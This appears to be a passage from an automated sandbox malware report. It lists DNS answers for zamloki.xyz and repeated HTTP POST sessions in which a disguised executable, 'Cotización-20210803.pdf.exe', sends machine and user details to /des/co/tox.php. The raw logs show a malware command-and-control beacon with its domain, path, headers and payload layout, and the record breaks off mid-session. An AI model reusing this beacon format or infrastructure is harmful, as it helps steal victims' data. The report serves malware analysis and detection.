Aug 4, 2021 13:57:09.375910044 CEST	8.8.8.8	192.168.2.5	0xf55b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:09.375910044 CEST	8.8.8.8	192.168.2.5	0xf55b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:09.885045052 CEST	8.8.8.8	192.168.2.5	0xa828	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:09.885045052 CEST	8.8.8.8	192.168.2.5	0xa828	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:10.390500069 CEST	8.8.8.8	192.168.2.5	0x691e	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:10.390500069 CEST	8.8.8.8	192.168.2.5	0x691e	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:10.904387951 CEST	8.8.8.8	192.168.2.5	0x6301	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:10.904387951 CEST	8.8.8.8	192.168.2.5	0x6301	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:11.411501884 CEST	8.8.8.8	192.168.2.5	0x1f1e	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:11.411501884 CEST	8.8.8.8	192.168.2.5	0x1f1e	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:11.923295021 CEST	8.8.8.8	192.168.2.5	0x36dc	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:11.923295021 CEST	8.8.8.8	192.168.2.5	0x36dc	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:12.411221027 CEST	8.8.8.8	192.168.2.5	0xb1dc	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:12.411221027 CEST	8.8.8.8	192.168.2.5	0xb1dc	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:12.922396898 CEST	8.8.8.8	192.168.2.5	0x9cf4	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:12.922396898 CEST	8.8.8.8	192.168.2.5	0x9cf4	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:13.450777054 CEST	8.8.8.8	192.168.2.5	0x395f	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:13.450777054 CEST	8.8.8.8	192.168.2.5	0x395f	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:13.962219000 CEST	8.8.8.8	192.168.2.5	0x12b9	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:13.962219000 CEST	8.8.8.8	192.168.2.5	0x12b9	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:14.508455038 CEST	8.8.8.8	192.168.2.5	0xa096	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:14.508455038 CEST	8.8.8.8	192.168.2.5	0xa096	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:15.016484022 CEST	8.8.8.8	192.168.2.5	0xcec5	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:15.016484022 CEST	8.8.8.8	192.168.2.5	0xcec5	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:15.506649971 CEST	8.8.8.8	192.168.2.5	0x790	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:15.506649971 CEST	8.8.8.8	192.168.2.5	0x790	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:16.026918888 CEST	8.8.8.8	192.168.2.5	0x456b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:16.026918888 CEST	8.8.8.8	192.168.2.5	0x456b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:16.510914087 CEST	8.8.8.8	192.168.2.5	0x2cb1	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:16.510914087 CEST	8.8.8.8	192.168.2.5	0x2cb1	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:17.201148033 CEST	8.8.8.8	192.168.2.5	0xb849	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:17.201148033 CEST	8.8.8.8	192.168.2.5	0xb849	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:17.690973043 CEST	8.8.8.8	192.168.2.5	0xf56d	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:17.690973043 CEST	8.8.8.8	192.168.2.5	0xf56d	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:18.199182987 CEST	8.8.8.8	192.168.2.5	0xd235	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:18.199182987 CEST	8.8.8.8	192.168.2.5	0xd235	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:18.683728933 CEST	8.8.8.8	192.168.2.5	0x4a3e	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:18.683728933 CEST	8.8.8.8	192.168.2.5	0x4a3e	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:19.188829899 CEST	8.8.8.8	192.168.2.5	0x39e3	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:19.188829899 CEST	8.8.8.8	192.168.2.5	0x39e3	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

zamloki.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49712	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:50.846349001 CEST	1401	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 192 Connection: close
Aug 4, 2021 13:55:50.864670038 CEST	1401	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: 'ckav.rualfons367706DESKTOP-716T771k08F9C4E9C79A3B52B3F739430H9ERj
Aug 4, 2021 13:55:51.103398085 CEST	1402	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:51 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=LeA%2FracpBPusptzPjcxk90VJ%2FfXoWFSZwjDAEt1mkgKD9OLKYHSfEgJ1LMSImukvp27wfnDPvN9onEwUPYk%2BW824T9gGprVqab0g0V3ngZHHrxpdkJTW4Ky5GMoa8w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6797995ad9ac4351-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49713	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:51.410424948 CEST	1403	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 192 Connection: close
Aug 4, 2021 13:55:51.427464008 CEST	1403	OUT	Data Raw: 12 00 27 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: 'ckav.rualfons367706DESKTOP-716T771+08F9C4E9C79A3B52B3F739430ogaad
Aug 4, 2021 13:55:51.687743902 CEST	1404	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:51 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iAfUWl0rtn%2FFdcZiNXQ07ovh1eB%2FBr3ppdINfwVue8owvFd772yoqbn%2FyeBH41SYcxW6Q6sPRW8k3%2BnA%2B3YRQiYEv5%2B3EZvf1En6H0t6kO%2B0UvY3SqP6APKMMbsvHg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6797995e598b4e2b-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49722	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:56.345642090 CEST	1420	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:56.362569094 CEST	1420	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:56.610239029 CEST	1421	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:56 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yQhGoxKr0Ze89X7pgC2DA3n2T1Gx0fnmysFotAhW6mPbwQugiDVS%2FZNIhGnU%2FNDpZCeRsZRG7g7xa44egVRz0WUVGe%2BQnm7GS6F5LsGpd%2BdFE7Pil95YOpSQEnmevg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6797997d3c164e4f-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.5	49816	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:51.092839956 CEST	6090	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:51.109962940 CEST	6090	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:51.359790087 CEST	6091	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:51 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7R7D9g8uULEW3T4qUHHLCx9jllZrcSPwSnPQhHHTe2AjPTyFjJSzsv7SN0ufLVYDtW2pCyoprA1tRXj4N8d74n9y2wzDSv8Qatqq6f9Rp83biLKcW741Z1qUi7Jv4A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979ad368772b12-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.5	49817	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:51.628360033 CEST	6092	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:51.645441055 CEST	6093	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:51.894992113 CEST	6093	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:51 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IlVllEnb53F1W8SMcnfPlOb7IO%2FGorfaLw5Nb%2BhQmbQfYvsup%2Bt2Rjl%2Flm9pTO2Gyn%2Fcedv3osuq%2BNkpDrIk69dQtcUlE3ma8QGDlabPv3BiLYDDcwIjI3yUMIdr7g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979ad6b9e52b41-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.5	49818	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:52.185091019 CEST	6094	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:52.202174902 CEST	6094	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:52.436801910 CEST	6095	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TLj5wcFcjiBZ%2BfR9Y3c7LMXgwmRv3ApldEsvvMaolzDFhkXlby6sPKrD6%2BGDww3Eh5ztorqDy9EUbw2FoeN9om5M%2FGDGIYdtsEhd%2FBbNwszvMvsPw7SB2gEoglqtvw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979ada3c314e98-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.5	49819	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:52.675185919 CEST	6096	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:52.692598104 CEST	6096	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:52.977264881 CEST	6097	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:52 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xI7qhm6BF4WhpNIRdmMxDfkKbnIeWGgVd42y8AwWd3d9iyss7AEvP1Qjuy3zTntG1Jb2XeDznOXbjrjfnbZfpXD8hpABChPI%2BJ1EkKcVC5yTsQK4B3ZX8w3PMieW1w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979add4bbb4aaa-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.5	49820	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:53.202526093 CEST	6098	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:53.221162081 CEST	6098	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:53.467519999 CEST	6099	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=vDChiZOj9W5xd%2FPVSx%2Fvyp2S14Fpc1VT3h9JLkQVoANB2Gzf9yRG7jopq0twhrnDfxmw5TpTwUIBE7eoSzuBZeHlKb1Toab6irJBKfsisIpgY0PChcRCaI3Tug72wg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979ae09bd02bf2-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
Aug 4, 2021 13:56:53.467578888 CEST	6099	IN	Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.5	49821	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:53.702727079 CEST	6100	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:53.721636057 CEST	6100	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:53.973052979 CEST	6101	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=k%2F401ctkecy1EiX5vP8AuQqGC8IcirxNim%2FjXixYEm7gjDZwNPENOXw%2FzfRLSwMwyAEMrhHBM4d5Qg0yULIQHscj%2BWh1cVd66sVU7mdc8QQTsGinS6hWPEkNqAIG2Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979ae3b98e0625-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.5	49822	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:54.231933117 CEST	6102	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:54.250933886 CEST	6102	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:54.485878944 CEST	6103	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:54 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QuKbqWr7F6iVl465I8eZ5VAuvMbvjn%2FETpDCmWuiR92ZYzIVV3C1YnWV5%2FxC1EEjH5giyq8tcB%2FK5NhSJvTJltSin%2Fwphc9rOlp0%2FfgTYFAr0Sn%2B%2Bgz1AnE6lZ9rZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979ae70ff04ee5-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.5	49823	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:54.731630087 CEST	6103	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:56:54.750976086 CEST	6104	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:56:54.985045910 CEST	6104	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:56:54 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xJ5ZcZy7cP5AzV%2Bo9Y%2FAvpSUPIrr8XXIRINAdnh3VRkUlSy49eyp8U50zMbUjCljsyDPjbM9WrFME%2BcDl33AxsxZxQyPtdA6HRTDzFYGgHmFLaMb3KirozA3CmuxVw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979aea1bb8c272-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.5	49824	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:56:55.234256029 CEST	6105	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
